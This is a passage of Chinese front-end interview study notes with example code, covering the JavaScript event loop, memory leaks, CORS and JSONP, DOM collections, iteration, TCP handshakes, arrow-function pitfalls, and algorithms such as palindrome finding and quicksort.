  • 微任务:Promiseprocess.nextTickMutationObserverasync/await
  • 宏任务和微任务的区别:微任务的优先级高于宏任务,微任务会在当前宏任务执行完毕后立即执行,而宏任务会在下一个事件循环中执行
    • 宏任务在页面渲染之后执行
    • 微任务在页面渲染之前执行
    • 也就是微任务在下一轮DOM渲染之前执行,宏任务在DOM渲染之后执行

console.log('start')
setTimeout(() => { 
  console.log('timeout')
})
Promise.resolve().then(() => {
  console.log('promise then')
})
console.log('end')

// 输出
// start 
// end 
// promise then
// timeout
// 分析

// 等同步代码执行完后,先从微任务队列中获取(微任务队列优先级高),队列先进先出

// 宏任务 MarcoTask 队列
// 如setTimeout 1000ms到1000ms后才会放到队列中
const MarcoTaskQueue = [
  () => {
    console.log('timeout')
  },
  fn // ajax回调放到宏任务队列中等待
]  

ajax(url, fn) // ajax 宏任务 如执行需要300ms


// ********** 宏任务和微任务中间隔着 【DOM 渲染】 ****************

// 微任务 MicroTask 队列
const MicroTaskQueue = [
  () => {
    console.log('promise then')
  }
]

// 等宏任务和微任务执行完后 Event Loop 继续监听(一旦有任务到了宏任务微任务队列就会立马拿过来执行)...
<p>Event Loop</p>

<script>
  const p = document.createElement('p')
  p.innerHTML = 'new paragraph'
  document.body.appendChild(p)
  const list = document.getElementsByTagName('p')
  console.log('length----', list.length) // 2

  console.log('start')
  // 宏任务在页面渲染之后执行
  setTimeout(() => {
    const list = document.getElementsByTagName('p')
    console.log('length on timeout----', list.length) // 2
    alert('阻塞 timeout') // 阻塞JS执行和渲染
  })
  // 微任务在页面渲染之前执行
  Promise.resolve().then(() => {
    const list = document.getElementsByTagName('p')
    console.log('length on promise.then----', list.length) // 2
    alert('阻塞 promise') // 阻塞JS执行和渲染
  })
  console.log('end')
</script>

# nodejs中的事件循环

  • nodejs也是单线程,也需要异步
  • 异步任务也分为:宏任务 + 微任务
  • 但是,它的宏任务和微任务分为不同的类型,有不同的优先级
  • 和浏览器的主要区别就是类型优先级,理解了这里就理解了nodejs的事件循环

宏任务类型和优先级

类型分为6个,优先级从高到底执行

  • TimersetTimeoutsetInterval
  • I/O callbacks:处理网络、流、TCP的错误回调
  • Idle,prepare:闲置状态(nodejs内部使用)
  • Poll轮询:执行poll中的I/O队列
  • Check检查:存储setImmediate回调
  • Close callbacks:关闭回调,如socket.on('close')

注意process.nextTick优先级最高,setTimeoutsetImmediate优先级高

执行过程

  • 执行同步代码
  • 执行微任务(process.nextTick优先级最高)
  • 按顺序执行6个类型的宏任务(每个开始之前都执行当前的微任务)

总结

  • 浏览器和nodejs的事件循环流程基本相同
  • nodejs宏任务和微任务分类型,有优先级。浏览器里面的宏任务和微任务是没有类型和优先级的
  • node17之后推荐使用setImmediate代替process.nextTick(如果使用process.nextTick执行复杂任务导致后面的卡顿就得不偿失了,尽量使用低优先级的api去执行异步)
console.info('start')
setImmediate(() => {
  console.info('setImmediate')
})
setTimeout(() => {
  console.info('timeout')
})
Promise.resolve().then(() => {
  console.info('promise then')
})
process.nextTick(() => {
  console.info('nextTick')
})
console.info('end')

// 输出
// start
// end
// nextTick
// promise then
// timeout
// setImmediate

# 第107题 JS内存泄露如何检测?场景有哪些?

内存泄漏:当一个对象不再被使用,但是由于某种原因,它的内存没有被释放,这就是内存泄漏。

# 垃圾回收机制

  • 对于在JavaScript中的字符串,对象,数组是没有固定大小的,只有当对他们进行动态分配存储时,解释器就会分配内存来存储这些数据,当JavaScript的解释器消耗完系统中所有可用的内存时,就会造成系统崩溃。
  • 内存泄漏,在某些情况下,不再使用到的变量所占用内存没有及时释放,导致程序运行中,内存越占越大,极端情况下可以导致系统崩溃,服务器宕机。
  • JavaScript有自己的一套垃圾回收机制,JavaScript的解释器可以检测到什么时候程序不再使用这个对象了(数据),就会把它所占用的内存释放掉。
  • 针对JavaScript的垃圾回收机制有以下两种方法(常用):标记清除(现代),引用计数(之前)

有两种垃圾回收策略:

  • 标记清除:标记阶段即为所有活动对象做上标记,清除阶段则把没有标记(也就是非活动对象)销毁。
  • 引用计数:它把对象是否不再需要简化定义为对象有没有其他对象引用到它。如果没有引用指向该对象(引用计数为 0),对象将被垃圾回收机制回收

标记清除的缺点:

  • 内存碎片化,空闲内存块是不连续的,容易出现很多空闲内存块,还可能会出现分配所需内存过大的对象时找不到合适的块。
  • 分配速度慢,因为即便是使用 First-fit 策略,其操作仍是一个 O(n) 的操作,最坏情况是每次都要遍历到最后,同时因为碎片化,大对象的分配效率会更慢。

解决以上的缺点可以使用 标记整理(Mark-Compact)算法 标记结束后,标记整理算法会将活着的对象(即不需要清理的对象)向内存的一端移动,最后清理掉边界的内存(如下图)

引用计数的缺点:

  • 需要一个计数器,所占内存空间大,因为我们也不知道被引用数量的上限。
  • 解决不了循环引用导致的无法回收问题
    • IE 6、7JS对象和DOM对象循环引用,清除不了,导致内存泄露

V8 的垃圾回收机制也是基于标记清除算法,不过对其做了一些优化。

  • 针对新生区采用并行回收。
  • 针对老生区采用增量标记与惰性回收

注意闭包不是内存泄露,闭包的数据是不可以被回收的

拓展:WeakMap、WeakMap的作用

  • 作用是防止内存泄露的
  • WeakMapWeakMap的应用场景
    • 想临时记录数据或关系
    • vue3中大量使用了WeakMap
  • WeakMapkey只能是对象,不能是基本类型

# 如何检测内存泄露

内存泄露模拟

<p>
  memory change
  <button id="btn1">start</button>
</p>

<script>
    const arr = []
    for (let i = 0; i < 10 * 10000; i++) {
      arr.push(i)
    }

    function bind() {
      // 模拟一个比较大的数据
      const obj = {
        str: JSON.stringify(arr) // 简单的拷贝
      }

      window.addEventListener('resize', () => {
        console.log(obj)
      })
    }

    let n = 0
    function start() {
      setTimeout(() => {
        bind()
        n++

        // 执行 50 次
        if (n < 50) {
          start()
        } else {
          alert('done')
        }
      }, 200)
    }

    document.getElementById('btn1').addEventListener('click', () => {
      start()
    })
</script>

打开开发者工具,选择 Performance,点击 Record,然后点击 Stop,在 Memory 选项卡中可以看到内存的使用情况。

# 内存泄露的场景(Vue为例)

  • 被全局变量、函数引用,组件销毁时未清除
  • 被全局事件、定时器引用,组件销毁时未清除
  • 被自定义事件引用,组件销毁时未清除
<template>
  <p>Memory Leak Demo</p>
</template>

<script>
export default {
  name: 'Memory Leak Demo',
  data() {
    return {
      arr: [10, 20, 30], // 数组 对象
    }
  },
  methods: {
    printArr() {
      console.log(this.arr)
    }
  },
  mounted() {
    // 全局变量
    window.arr = this.arr
    window.printArr = ()=>{
      console.log(this.arr)
    }

    // 定时器
    this.intervalId = setInterval(() => {
      console.log(this.arr)
    }, 1000)

    // 全局事件
    window.addEventListener('resize', this.printArr)
    // 自定义事件也是这样
  },
  // Vue2是beforeDestroy
  beforeUnmount() {
    // 清除全局变量
    window.arr = null
    window.printArr = null

    // 清除定时器
    clearInterval(this.intervalId)

    // 清除全局事件
    window.removeEventListener('resize', this.printArr)
  },
}
</script>

# 拓展 WeakMap WeakSet

weakmapweakset 都是弱引用,不会阻止垃圾回收机制回收对象。

const map = new Map() 
function fn1() {
  const obj = { x: 100 }
  map.set('a', obj) // fn1执行完 map还引用着obj
}
fn1()
const wMap = new WeaMap() // 弱引用
function fn1() {
  const obj = { x: 100 }
  // fn1执行完 obj会被清理掉
  wMap.set(obj, 100) // weakMap 的 key 只能是引用类型,字符串数字都不行
}
fn1()

# 第106题 HTTP跨域请求时为什么要发送options请求

跨域请求

  • 浏览器同源策略
  • 同源策略一般限制Ajax网络请求,不能跨域请求server
  • 不会限制<link> <img> <script> <iframe> 加载第三方资源

JSONP实现跨域

<!-- aa.com网页 -->
<script>
  window.onSuccess = function(data) {
    console.log(data)
  }
</script>
<script src="https://bb.com/api/getData"></script>
// server端https://bb.com/api/getData
onSuccess({ "name":"test", "age":12, "city":"shenzhen" });

cors

response.setHeader('Access-Control-Allow-Origin', 'https://aa.com') // 或者*
response.setHeader('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE, OPTIONS') // 允许的请求方法
response.setHeader('Access-Control-Allow-Headers', 'X-Requested-With') // 允许的请求头
response.setHeader('Access-Control-Allow-Credentials', 'true'// 允许跨域携带cookie

多余的options请求

  • options是跨域请求之前的预检查
  • 浏览器自行发起的,无需我们干预
  • 不会影响实际的功能

# 第105题 HTMLCollection和NodeList的区别

Node和Element

  • DOM是一棵树,所有节点都是Node
  • NodeElement的基类
  • Element是其他HTML元素的基类,如HTMLDivElementHTMLImageElement

  • HTMLCollectionElement的集合
  • NodeListNode的集合,包含TextComment节点
  • ele.children 返回HTMLCollection集合
  • ele.childNodes 返回NodeList集合
  • HTMLCollectionNodeList是类数组
    • 使用Array.from(list)转化数组
    • 使用Array.prototype.slice.call(list)转化数组
    • 使用[...list]转化数组
<p id="p1"><b>node</b> vs <em>element</em><!--注释--></p>

<script>
  const p1 = document.getElementById('p1')
  // console.log(p1.children) // HTMLCollection
  console.log(p1.childNodes) // NodeList

  // p1.tagName // Element类型一定有tagName
  // p1.nodeType/nodeName // node节点

  class Node {}

  // document
  class Document extends Node {}
  class DocumentFragment extends Node {}
  
  // 文本和注释
  class CharacterData extends Node {}
  class Comment extends CharacterData {}
  class Text extends CharacterData {}

  // elem
  class Element extends Node {}
  class HTMLElement extends Element {}
  class HTMLDivElement extends HTMLElement {}
  class HTMLInputElement extends HTMLElement {}
  // ...
</script>

# 第104题 for in和for of有什么区别

适用不同的数据类型

  • 遍历对象:for in可以,for of不可以
  • 遍历Map Setfor of可以,for in不可以
  • 遍历generatorfor of可以,for in不可以

可枚举 vs 可迭代

  • for in 用于可枚举的数据,如对象、数组、字符串,得到key
  • for of 用于可迭代的数据,如数组、字符串、MapSetgenerator,得到value
const arr = [10, 20, 30]
for (let val of arr) { // 数组使用for of
  console.log(val)
}

const str = 'abc'
for (let c of str) { // 字符串使用for of
  console.log(c)
}

function fn() {
  for (let arg of arguments) { // arguments使用for of
    console.log(arg)
  }
}
fn(100, 200, 'aaa')

const pList = document.querySelectorAll('p')
for (let p of pList) { // NodeList使用for of
  console.log(p)
}

const obj = {
  name: 'poetry',
}
for (let val of obj) {
  console.log(val) // 错误的,对象不可用for of
}

const set = new Set([10, 20, 30])
for (let n of set) { // set使用for of
  console.log(n)
}

const map = new Map([
  ['x', 100],
  ['y', 200],
  ['z', 300]
])
for (let n of map) {// map使用for of
  console.log(n)
}

function* foo() {
  yield 10
  yield 20
  yield 30
}
for (let n of foo()) { // 迭代器使用for of
  console.log(n)
}

for-await-of有什么作用

  • for await of用于遍历多个promise
function createPromise(val) {
  return new Promise((resolve) => {
    setTimeout(() => {
        resolve(val)
    }, 1000)
  })
}

const p1 = createPromise(100)
const p2 = createPromise(200)
const p3 = createPromise(300)

const res1 = await p1
console.log(res1)
const res2 = await p2
console.log(res2)
const res3 = await p3
console.log(res3)

const list = [p1, p2, p3]
// Promise.all(list).then(res => console.log(res))
// 和promise.all一个作用
for await (let res of list) { // for await of 遍历多个promise
  console.log(res) // 同时出来,一次性调用 100 200 300
}

// ---------------------- 分割线 ----------------------

const res1 = await createPromise(100)
console.log(res1)
const res2 = await createPromise(200)
console.log(res2)
const res3 = await createPromise(300)
console.log(res3)

const arr = [10, 20, 30]
for (let num of arr) {
  const res = await createPromise(num) // 一个个出来,promise依次调用 for await of 遍历多个promise
  console.log(res)
}

# 第103题 请描述TCP三次握手和四次挥手

建立TCP连接

  • 先建立连接,确保双方都有收发消息的能力
  • 再传输内容(如发送一个get请求)
  • 网络连接是TCP协议,传输内容是HTTP协议

三次握手-建立连接

  • Client发包,Server接收。Server就知道有Client要找我了
  • Server发包,Client接收。Client就知道Server已经收到消息
  • Client发包,Server接收。Server就知道Client要准备发送了
  • 前两步确定双发都能收发消息,第三步确定双方都准备好了

四次挥手-关闭连接

  • Client发包,Server接收。Server就知道Client已请求结束
  • Server发包,Client接收。Client就知道Server已收到消息,我等待server传输完成了在关闭
  • Server发包,Client接收。Client就知道Server已经传输完成了,可以关闭连接了
  • Client发包,Server接收。Server就知道Client已经关闭了,Server可以关闭连接了

# 第102题 什么时候不能使用箭头函数

  • 箭头函数不绑定 arguments,可以使用 ...args 代替
  • 箭头函数没有 prototype 属性,不能进行 new 实例化
  • 箭头函数不能通过 callapply 等绑定 this,因为箭头函数底层是使用bind永久绑定this了,bind绑定过的this不能修改
  • 箭头函数的this指向创建时父级的this
  • 箭头函数不能使用yield关键字,不能作为Generator函数
const fn1 = () => {
  // 箭头函数中没有arguments
  console.log('arguments', arguments)
}
fn1(100, 300)

const fn2 = () => {
  // 这里的this指向window,箭头函数的this指向创建时父级的this
  console.log('this', this)
}
// 箭头函数不能修改this
fn2.call({x: 100})

const obj = {
  name: 'poetry',
  getName2() {
    // 这里的this指向obj
    return () => {
      // 这里的this指向obj
      return this.name
    }
  },
  getName: () => { // 1、不适用箭头函数的场景1:对象方法
    // 这里不能使用箭头函数,否则箭头函数指向window
    return this.name
  }
}

obj.prototype.getName3 = () => { // 2、不适用箭头函数的场景2:对象原型
  // 这里不能使用箭头函数,否则this指向window
  return this.name
}

const Foo = (name) => { // 3、不适用箭头函数的场景3:构造函数
  this.name = name
}
const f = new Foo('poetry') // 箭头函数没有 prototype 属性,不能进行 new 实例化

const btn1 = document.getElementById('btn1')
btn1.addEventListener('click',()=>{ // 4、不适用箭头函数的场景4:动态上下文的回调函数
  // 这里不能使用箭头函数 this === window
  this.innerHTML = 'click'
})

// Vue 组件本质上是一个 JS 对象,this需要指向组件实例
// vue的生命周期和method不能使用箭头函数
new Vue({
  data:{name:'poetry'},
  methods: { // 5、不适用箭头函数的场景5:vue的生命周期和method
    getName: () => {
      // 这里不能使用箭头函数,否则this指向window
      return this.name
    }
  },
  mounted:() => {
    // 这里不能使用箭头函数,否则this指向window
    this.getName()
  }
})

// React 组件(非 Hooks)它本质上是一个 ES6 class
class Foo {
  constructor(name) {
    this.name = name
  }
  getName = () => { // 这里的箭头函数this指向实例本身没有问题的
    return this.name
  }
}
const f = new Foo('poetry') 
console.log(f.getName() )

总结:不适用箭头函数的场景

  • 场景1:对象方法
  • 场景2:对象原型
  • 场景3:构造函数
  • 场景4:动态上下文的回调函数
  • 场景5:vue的生命周期和method

# 第101题 切换字母大小写

  • 输入一个字符串,切换其中字母的大小写
  • 如,输入字符串12aBc34,输出字符串12AbC34

思路分析

  • 正则表达式
  • 通过ASCII码判断('AB'.charCodeAt(0)

# 切换字母大小写(正则表达式)

/**
 * 切换字母大小写(正则表达式)
 * @param s str
 */
function switchLetterCase1(s) {
  let res = ''

  const length = s.length
  if (length === 0) return res

  const reg1 = /[a-z]/
  const reg2 = /[A-Z]/

  for (let i = 0; i < length; i++) {
    const c = s[i]
    if (reg1.test(c)) { // 小写字母转大写
      res += c.toUpperCase()
    } else if (reg2.test(c)) { // 大写字母转小写
      res += c.toLowerCase()
    } else {// 非字母
      res += c
    }
  }

  return res
}

# 切换字母大小写(ASCII 编码)

/**
 * 切换字母大小写(ASCII 编码)
 * @param s str
 */
function switchLetterCase2(s) {
  let res = ''

  const length = s.length
  if (length === 0) return res

  for (let i = 0; i < length; i++) {
    const c = s[i]
    const code = c.charCodeAt(0) // 获取字符的ASCII编码
    // 或者 code = s.charCodeAt(i)

    // ascii.911cha.com 查询
    // 65-90 A-Z 
    // 97-122 a-z
    if (code >= 65 && code <= 90) { // 大写字母转小写
      res += c.toLowerCase()
    } else if (code >= 97 && code <= 122) { // 小写字母转大写
      res += c.toUpperCase()
    } else {// 非字母
      res += c
    }
  }

  return res
}
// 功能测试
const str = '100aBcD$#xYz'
console.info(switchLetterCase2(str))
// 性能测试

const str = '100aBcD$#xYz100aBcD$#xYz100aBcD$#xYz100aBcD$#xYz100aBcD$#xYz100aBcD$#xYz'

// 切换字母大小写(正则表达式)
console.time('switchLetterCase1')
for (let i = 0; i < 10 * 10000; i++) {
  switchLetterCase1(str)
}
console.timeEnd('switchLetterCase1') // 436ms

// 切换字母大小写(ASCII 编码)
console.time('switchLetterCase2')
for (let i = 0; i < 10 * 10000; i++) {
  switchLetterCase2(str)
}
console.timeEnd('switchLetterCase2') // 210ms

# 第100题 实现数字千分位格式化

  • 将数字千分位格式化,输出字符串
  • 如输入数字13050100输出13,050,100
  • 注意:逆序判断(从后往前判断)

思路分析

  • 转化为数组,reverse,每三位拆分
  • 使用正则表达式
  • 使用字符串拆分

性能分析

  • 使用数组,转化影响性能
  • 使用正则表达式,性能较差
  • 使用字符串性能较好,推荐答案

划重点

  • 顺序,从尾到头
  • 尽量不要转化数据结构
  • 慎用正则表达式,性能较慢

# 千分位格式化(使用数组)

/**
 * 千分位格式化(使用数组)
 * @param n number
 */
function format1(n) {
  n = Math.floor(n) // 只考虑整数

  const s = n.toString() // 13050100
  const arr = s.split('').reverse() // 反转数组逆序判断,从尾到头 00105031
  return arr.reduce((prev, val, index) => {
    // 分析
    // index = 0   prev = ''           val = '0'      return '0'
    // index = 1   prev = '0'          val = '0'      return '00'
    // index = 2   prev = '00'         val = '1'      return '100'
    // index = 3   prev = '100'        val = '0'      return '0,100'
    // index = 4   prev = '0,100'      val = '5'      return '50,100'
    // index = 5   prev = '50,100'     val = '0'      return '050,100'
    // index = 6   prev = '050,100'    val = '3'      return '3,050,100'
    // index = 7   prev = '3,050,100'  val = '1'      return '13,050,100'
    if (index % 3 === 0) { //每隔三位加一个逗号
      if (prev) {
        return val + ',' + prev 
      } else {
        return val
      }
    } else {
      return val + prev
    }
  }, '')
}

# 数字千分位格式化(字符串分析)

/**
 * 数字千分位格式化(字符串分析)
 * @param n number
 */
function format2(n) {
  n = Math.floor(n) // 只考虑整数

  let res = ''
  const s = n.toString() // 13050100
  const length = s.length

  //  逆序判断,从尾到头
  //  13050100 length=8
  //  i=7 j=1 res='0'
  //  i=6 j=2 res='00'
  //  i=5 j=3 res=',100'
  //  i=4 j=4 res='0,100'
  //  i=3 j=5 res='50,100'
  //  i=2 j=6 res=',050,100'
  //  i=1 j=7 res='3,050,100'
  //  i=0 j=8 res='13,050,100'
  for (let i = length - 1; i >= 0; i--) {
    const j = length - i
    if (j % 3 === 0) { // 每隔三位加一个逗号
      if (i === 0) {
        res = s[i] + res // 最前面那个不用加逗号
      } else {
        res = ',' + s[i] + res // 从后面往前累加
      }
    } else {
      res = s[i] + res
    }
  }

  return res
}
// 功能测试
const n = 10201004050
console.info('format1', format1(n))
console.info('format2', format2(n))

# 第99题 高效的字符串前缀匹配如何做

  • 有一个英文单词库(数组),里面有几十个英文单词
  • 输入一个字符串,快速判断是不是某一个单词的前缀
  • 说明思路,不用写代码

思路分析

  • 常规思路
    • 遍历单词库数组
    • indexOf判断前缀
    • 实际复杂度超过了O(n),因为每一步遍历要考虑indexOf的计算量
  • 优化
    • 英文字母一共26个,可以提前把单词库数组拆分为26
    • 第一层拆分为26个,第二第三层也可以继续拆分
    • 最后把单词库拆分为一颗树
    • array拆分为{a:{r:{r:{a:{y:{}}}}}} 查询的时候这样查obj.a.r.r.a.y 时间复杂度就是O(1)
    • 转为为树的过程我们不用管,单词库更新频率一般都是很低的,我们执行一次提前转换好,通过哈希表(对象)查询key非常快
  • 性能分析
    • 如遍历数组,时间复杂度至少O(n)起步(n是数组长度)
    • 改为树,时间复杂度从大于O(n)降低到O(m)m是单词的长度)
    • 哈希表(对象)通过key查询,时间复杂度是O(1)

# 第98题 获取1-10000之前所有的对称数(回文数)

  • 1-10000之间所有的对称数(回文)
  • 例如:0,1,2,11,22,101,232,1221...

思路分析

  • 思路1:使用数组反转比较
    • 数字转为字符串,在转为数组
    • 数组reverse,在join为字符串
    • 前后字符串进行对比
    • 看似是O(n),但数组转换、操作都需要时间,所以慢
  • 思路2:字符串前后比较
    • 数字转为字符串
    • 字符串头尾字符比较
    • 思路2 vs 思路3,直接操作数字更快
  • 思路3:生成翻转数
    • 使用%Math.floor()生成翻转数
    • 前后数字进行对比
    • 全程操作数字,没有字符串类型

总结

  • 尽量不要转换数据结构,尤其是数组这种有序结构
  • 尽量不要用内置API,如reverse等不好识别复杂度
  • 数字操作最快,其次是字符串

# 查询 1-max 的所有对称数(数组反转)

/**
 * 查询 1-max 的所有对称数(数组反转)
 * @param max 最大值
 */
function findPalindromeNumbers1(max) {
  const res = []
  if (max <= 0) return res

  for (let i = 1; i <= max; i++) {
    // 转换为字符串,转换为数组,再反转,比较
    const s = i.toString()
    if (s === s.split('').reverse().join('')) { // 反过来看是否和之前的一样就是回文
      res.push(i)
    }
  }

  return res
}

# 查询 1-max 的所有对称数(字符串前后比较)

  • 数字转为字符串
  • 字符串头尾字符比较
/**
 * 查询 1-max 的所有对称数(字符串前后比较)
 * @param max 最大值
 */
function findPalindromeNumbers2(max) {
  const res = []
  if (max <= 0) return res

  for (let i = 1; i <= max; i++) {
    const s = i.toString()
    const length = s.length

    // 字符串头尾比较
    let flag = true // 标志字符串是否是回文
    let startIndex = 0 // 字符串开始
    let endIndex = length - 1 // 字符串结束
    while (startIndex < endIndex) {
      if (s[startIndex] !== s[endIndex]) { // 开始和结束不相等不是回文 跳出while循环
        flag = false
        break
      } else {
        // 继续比较,倒数第二个和第二个比较,倒数第三个和第三个比较...
        startIndex++ // 指针向后移动 ==>
        endIndex-- // 指针向前移动        <==
      }
    }

    if (flag) res.push(i)
  }

  return res
}

# 查询 1-max 的所有对称数(生成翻转数)

/**
 * 查询 1-max 的所有对称数(生成翻转数)
 * @param max 最大值
 */
function findPalindromeNumbers3(max) {
  const res = []
  if (max <= 0) return res

  for (let i = 1; i <= max; i++) {
    let n = i
    let rev = 0 // 存储翻转数
    
    // 假设开始
    // i:123
    // n:123

    // 生成翻转数
    while (n > 0) {
      rev = rev * 10 + n % 10 // 第一轮 rev: 0*10 + 123 % 10 = 3 第二轮 rev: 3*10 + 12 % 10 = 32 第三轮 rev: 32*10 + 1 % 10 = 321
      n = Math.floor(n / 10) // 第一轮 n: 123 / 10 = 12 第二轮 n: 12 / 10 = 1 第三轮 n: 1 / 10 = 0
    }
    // 整个while循环结束后:n = 0,rev = 321
    // 此时 i = 123,rev = 321 不是回文数
    if (i === rev) res.push(i)
  }

  return res
}
// 功能测试
console.info(findPalindromeNumbers3(200))
// 性能测试

// 查询 1-max 的所有对称数(数组反转)
console.time('findPalindromeNumbers1')
findPalindromeNumbers1(100 * 10000)
console.timeEnd('findPalindromeNumbers1') // 408ms

// 查询 1-max 的所有对称数(字符串前后比较)
console.time('findPalindromeNumbers2')
findPalindromeNumbers2(100 * 10000)
console.timeEnd('findPalindromeNumbers2') // 53ms

// 查询 1-max 的所有对称数(生成翻转数)
console.time('findPalindromeNumbers3')
findPalindromeNumbers3(100 * 10000)
console.timeEnd('findPalindromeNumbers3') // 42ms

# 第97题 实现快速排序并说明时间复杂度

思路分析

  • 找到中间位置midValue
  • 遍历数组,小于midValue放在left,否则放在right
  • 继续递归,最后concat拼接返回
  • 使用splice会修改原数组,使用slice不会修改原数组(推荐)
  • 一层遍历+二分的时间复杂度是O(nlogn)

# 快速排序(使用 splice)

/**
 * 快速排序(使用 splice)
 * @param arr:number[] number arr
 */
function quickSort1(arr) {
  const length = arr.length
  if (length === 0) return arr

  // 获取中间的数
  const midIndex = Math.floor(length / 2)
  const midValue = arr.splice(midIndex, 1)[0] // splice会修改原数组,传入开始位置和长度是1

  const left = []
  const right = []

  // 注意:这里不用直接用 length ,而是用 arr.length 。因为 arr 已经被 splice 给修改了
  for (let i = 0; i < arr.length; i++) {
    const n = arr[i]
    if (n < midValue) {
      // 小于 midValue ,则放在 left
      left.push(n)
    } else {
      // 大于 midValue ,则放在 right
      right